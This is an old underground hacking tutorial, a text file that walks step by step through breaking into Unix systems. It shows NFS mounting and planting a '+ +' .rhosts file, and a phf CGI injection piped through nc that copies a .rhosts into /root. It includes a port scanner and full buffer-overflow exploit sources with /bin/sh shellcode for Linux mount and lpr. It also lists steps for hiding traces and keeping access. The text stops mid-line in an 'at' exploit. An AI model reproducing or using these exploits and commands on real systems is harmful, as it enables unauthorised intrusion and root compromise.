If you feel offended by this subject (hacking) or you think that you could
do better, don't read the below information...
This file is for educational purposes ONLY...;)
I ain't responsible for any damages you made after reading this...(I'm very
serious...)
So this can be copied, but not modified (send me the changes, and if they
are good, I'll include them ).
Don't read it, 'cuz it might be illegal.
I warned you...
If you would like to continue, press <PgDown>.
Intro: Hacking step by step.
_________________________________________________________________________________
Well, this ain't exactely for begginers, but it'll have to do.
What all hackers has to know is that there are 4 steps in hacking...
Step 1: Getting access to site.
Step 2: Hacking r00t.
Step 3: Covering your traces.
Step 4: Keeping that account.
Ok. In the next pages we'll see exactely what I ment.
Step 1: Getting access.
_______
Well folks, there are several methods to get access to a site.
I'll try to explain the most used ones.
The first thing I do is see if the system has an export list:
mysite:~>/usr/sbin/showmount -e victim.site.com
RPC: Program not registered.
If it gives a message like this one, then it's time to search another way
in.
What I was trying to do was to exploit an old security problem by most
SUN OS's that could allow an remote attacker to add a .rhosts to a users
home directory... (That was possible if the site had mounted their home
directory.
Let's see what happens...
mysite:~>/usr/sbin/showmount -e victim1.site.com
/usr victim2.site.com
/home (everyone)
/cdrom (everyone)
mysite:~>mkdir /tmp/mount
mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/
mysite:~>ls -sal /tmp/mount
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/
Well, we wanna hack into rapper's home.
mysite:~>id
uid=0 euid=0
mysite:~>whoami
root
mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd
We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might
forget it on the remote server...
mysite:~>su - rapper
Welcome to rapper's user.
mysite:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/
So we own this guy's home directory...
mysite:~>echo "+ +" > rapper/.rhosts
mysite:~>cd /
mysite:~>rlogin victim1.site.com
Welcome to Victim.Site.Com.
SunOs ver....(crap).
victim1:~$
This is the first method...
Another method could be to see if the site has an open 80 port. That would
mean that the site has a web page.
(And that's very bad, 'cuz it usually it's vulnerable).
Below I include the source of a scanner that helped me when NMAP wasn't written.
(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).
NMAP is a scanner that does even stealth scanning, so lots of systems won't
record it.
/* -*-C-*- tcpprobe.c */
/* tcpprobe - report on which tcp ports accept connections */
/* IO ERROR, This e-mail address is being protected from spambots. You need JavaScript enabled to view it , Sep 15, 1995 */
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
int main(int argc, char **argv)
{
int probeport = 0;
struct hostent *host;
int err, i, net;
struct sockaddr_in sa;
if (argc != 2) {
printf("Usage: %s hostname\n", argv[0]);
exit(1);
}
for (i = 1; i < 1024; i++) {
strncpy((char *)&sa, "", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
sa.sin_addr.s_addr = inet_addr(argv[1]);
else if ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
else {
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net < 0) {
perror("\nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) &sa, sizeof sa);
if (err < 0) {
printf("%s %-5d %s\r", argv[1], i, strerror(errno));
fflush(stdout);
} else {
printf("%s %-5d accepted. \n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("\nshutdown");
exit(2);
}
}
close(net);
}
printf(" \r");
fflush(stdout);
return (0);
}
Well, now be very carefull with the below exploits, because they usually get
logged.
Besides, if you really wanna get a source file from /cgi-bin/ use this
sintax : lynx http://www.victim1.com//cgi-bin/finger
If you don't wanna do that, then do a :
mysite:~>echo "+ +" > /tmp/rhosts
mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+ This e-mail address is being protected from spambots. You need JavaScript enabled to view it :/tmp/rhosts+
/root/.rhosts" | nc -v - 20 victim1.site.com 80
then
mysite:~>rlogin -l root victim1.site.com
Welcome to Victim1.Site.Com.
victim1:~#
Or, maybe, just try to find out usernames and passwords...
The usual users are "test", "guest", and maybe the owner of the site...
I usually don't do such things, but you can...
Or if the site is really old, use that (quote site exec) old bug for
wu.ftpd.
There are a lot of other exploits, like the remote exploits (innd, imap2,
pop3, etc...) that you can find at rootshell.connectnet.com or at
dhp.com/~fyodor.
Enough about this topic. (besides, if you can finger the site, you can
figgure out usernames and maybe by guessing passwords (sigh!) you could get
access to the site).
Step 2: Hacking r00t.
______
First you have to find the system it's running...
a). LINUX
ALL versions:
A big bug for all linux versions is mount/umount and (maybe) lpr.
/* Mount Exploit for Linux, Jul 30 1996
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/mount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
/*LPR exploit:I don't know the author...*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
b.) Version's 1.2.* to 1.3.2
NLSPATH env. variable exploit:
/* It's really annoying for users and good for me...
AT exploit gives only uid=0 and euid=your_usual_euid.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define path "/usr/bin/at"
#define BUFFER_SIZE 1024
#d
